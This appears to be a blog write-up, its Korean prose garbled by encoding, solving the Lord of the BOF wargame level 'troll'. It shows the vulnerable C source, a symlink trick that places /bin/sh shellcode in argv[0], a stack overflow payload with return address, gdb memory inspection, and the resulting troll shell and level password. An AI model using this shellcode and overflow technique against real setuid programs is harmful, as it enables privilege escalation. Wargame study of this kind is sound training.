[orge@localhost orge]$ cat -n troll.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - troll
4 - check argc + argv hunter
5 */
6
7 #include <stdio.h>
8 #include <stdlib.h>
9
10 extern char **environ;
11
12 main(int argc, char *argv[])
13 {
14 char buffer[40];
15 int i;
16
17 // here is changed
18 if(argc != 2){
19 printf("argc must be two!\n");
20 exit(0);
21 }
22
23 // egghunter
24 for(i=0; environ[i]; i++)
25 memset(environ[i], 0, strlen(environ[i]));
26
27 if(argv[1][47] != '\xbf')
28 {
29 printf("stack is still your friend.\n");
30 exit(0);
31 }
32
33 // check the length of argument
34 if(strlen(argv[1]) > 48){
35 printf("argument is too long!\n");
36 exit(0);
37 }
38
39 strcpy(buffer, argv[1]);
40 printf("%s\n", buffer);
41
42 // buffer hunter
43 memset(buffer, 0, 40);
44
45 // one more!
46 memset(argv[1], 0, strlen(argv[1]));
47 }
18~21์ฝ๋๋ฅผ ํตํด argv์ธ์๋ฅผ 2๊ฐ๋ง ๋ฐ์์ฌ ์ ์๊ฒ ํด๋จ๊ตฐ์.
ex) ./test 1234 (o)
./test 1234 5678 (x)
๋ํ, 46์ฝ๋์ ํ๋ก๊ทธ๋จ ์ข ๋ฃ์ง์ argv[1]์ ์ด๊ธฐํ ํด์ค์ผ๋ก์จ ๋์ด์ ์ฐ๋ฆฌ์ ์น๊ตฌ argv[1]์ ์ด์ฉํ ์๊ฐ ์๊ฒ ๋ค์
ํน์ ์ด์ ๋ฌธ์ ์์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋กค ํตํด์ argv[0](์คํ ํ์ผ๋ช )์ ๊ธธ์ด๋ฅผ ๋ฐ๊ฟ์ค๊ฒ ๊ธฐ์ต ํ์๋์?
๊ทธ๋ ๋ค๋ฉด ์ด๋ฒ์๋ argv[0]์ ์์ฝ๋๋ฅผ ์ ๋ ฅํ์ฌ ๋ฌธ์ ๋ฅผ ํ์ด๋ด ์๋ค.
์ฐ์ , ์์๋ฌ์ผ ํ ๊ฒ ์ฐ๋ฆฌ๊ฐ ๊ธฐ์กด์ ์ฌ์ฉํ๋ ์์ฝ๋(24byte) ์์๋ \x2f๊ฐ ํฌํจ๋์ด์์๊ฒ๋๋ค.
\x2f๋ ๋ฌธ์๋ก ์ฌ๋์ฌ "/" ์ ๋๋ค. (https://www.rapidtables.com/convert/number/hex-to-ascii.html)
์์๋ค์ํผ "/"๋ ๋ฆฌ๋ ์ค์์ ๋๋ ํฐ๋ฆฌ ๊ตฌ๋ถ์ ์ด์ฉ๋๋ ๋ฌธ์์ฃ ..
์ด๋์ ๊ธฐ์กด ์์ฝ๋๋ก ์ค์ ํด์ค๊ฒฝ์ฐ ์ค๋ฅ๊ฐ ์๊น๋๋ค.
[orge@localhost orge]$ `python -c 'print "ln -s test " + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
ln: cannot create symbolic link `1๓ฟฟh//shh/binโแฐ
อ' to `test': No such file or directory
๋ฐ๋ผ์, ์ด๋ฒ ๋ฌธ์ ์์๋ \x2f๊ฐ ์๋ ์์ฝ๋๋ฅผ ์ฌ์ฉํด์ผ๊ฒ ๋ค์.
[orge@localhost orge]$ `python -c 'print "ln -s test " + "\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[orge@localhost orge]$ ls -l
total 36
lrwxrwxrwx 1 orge orge 4 Dec 13 03:29 1๓ฟฟ¾..rg?ฤฟ???V¿.binGW?โฟแฟแฎฟหฟ -> test
-rwsr-sr-x 1 orge orge 12693 Dec 13 03:28 test
-rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll
-rw-r--r-- 1 root root 772 Mar 29 2010 troll.c
์ด๋ ๊ฒ ์ฑ๊ณต์ ์ผ๋ก ์ฌ๋ณผ๋ฆญ ๋งํฌ๊ฐ ๊ฑธ๋ฆฌ๋ค์.
testํ์ผ์ ํตํ์ฌ argv[0] addr๋ฅผ ์ฐพ์๋ด๊ณ ๋ฐ๋ก ์ ์ฉ์ํค๋ฉด ๋๊ฒ ๋ค์.
๊ณต๊ฒฉ ์ฝ๋ | ||
argv[0] | argv[1] | |
./์์ฝ๋ | "A"(dummy 44byte) | ret(argv[0] addr) |
[orge@localhost orge]$ `python -c 'print "./\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\x14\xfc\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[orge@localhost orge]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./1๓ฟฟ¾..rgฤV¿.binGWโแ
แฑ e '.
Program terminated with signal 11, Segmentation fault.
#0 0xbfffffd6 in ?? ()
(gdb) x/40wx $esp
0xbffffaa0: 0x00000000 0xbffffae4 0xbffffaf0 0x40013868
0xbffffab0: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffac0: 0x08048500 0x00000002 0xbffffae4 0x08048390
0xbffffad0: 0x0804866c 0x4000ae60 0xbffffadc 0x40013e90
0xbffffae0: 0x00000002 0xbffffbe0 0xbffffc05 0x00000000
0xbffffaf0: 0xbffffc36 0xbffffc45 0xbffffc5d 0xbffffc7c
0xbffffb00: 0xbffffc9e 0xbffffca8 0xbffffe6b 0xbffffe8a
0xbffffb10: 0xbffffea4 0xbffffeb9 0xbffffed5 0xbffffee0
0xbffffb20: 0xbffffef9 0xbfffff06 0xbfffff0e 0xbfffff18
0xbffffb30: 0xbfffff28 0xbfffff36 0xbfffff44 0xbfffff55
(gdb) x/s 0xbffffbe0
0xbffffbe0: "./1๓ฟฟ¾..rg\201ล001\001\001\001V¿.binGW\211โ211แ211แฏ013ฬ200"
(gdb) x/s 0xbffffbe2
0xbffffbe2: "1๓ฟฟ¾..rg\201ล001\001\001\001V¿.binGW\211โ211แ211แฏ013ฬ200"
์ฝ๋๋ฅผ ์ ์์ ์ผ๋ก ์คํ์ํค๊ธฐ ์ํด์ argv[0] ์ฃผ์์์ "./"๋ฅผ ๊ฑด๋๋ด ์ฃผ์์ธ, argv[0]+2๋ฅผ ๋ฎ์ด์ผ๊ฒ ๋ค์.
์ด์ torllํ์ผ๊ณผ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋ค์ ๊ฑธ์ด์ ์ฝ๋๋ฅผ ์คํํค๊ฒจ๋ณผ๊น์
[orge@localhost orge]$ `python -c 'print "rm \x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[orge@localhost orge]$ ls
test troll troll.c
[orge@localhost orge]$ `python -c 'print "ln -s troll \x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[orge@localhost orge]$ ls -l
total 36
lrwxrwxrwx 1 orge orge 5 Dec 13 03:36 1๓ฟฟ¾..rg?ฤฟ???V¿.binGW?โฟแฟแฎฟหฟ -> troll
-rwsr-sr-x 1 orge orge 12693 Dec 13 03:28 test
-rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll
-rw-r--r-- 1 root root 772 Mar 29 2010 troll.c
[orge@localhost orge]$ `python -c 'print "./\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\xe2\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAใผฟ¿
bash$ whoami
troll
bash$ my-pass
euid = 508
aspirin
๋ค, ์ด์งํ๊ฒ ์์ด ์คํ๋๋ ๋ชจ์ต์ ๋๋ค.
+ ์์์ ์ bash2๋ก ๋ฐ๊ฟ์ฃผ๊ณ ๋ฌธ์ ํ์ด ํ์๋๊ฑฐ ์์ง ์์ผ์ จ์ฃ ?
'wargame ๐ดโโ ๏ธ write-up > Lord of BOF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
10. vampire โ skeleton (0) | 2020.12.19 |
---|---|
9. troll โ vampire (0) | 2020.12.14 |
7. darkelf โ orge (0) | 2020.12.13 |
6. wolfman โ darkelf (0) | 2019.05.02 |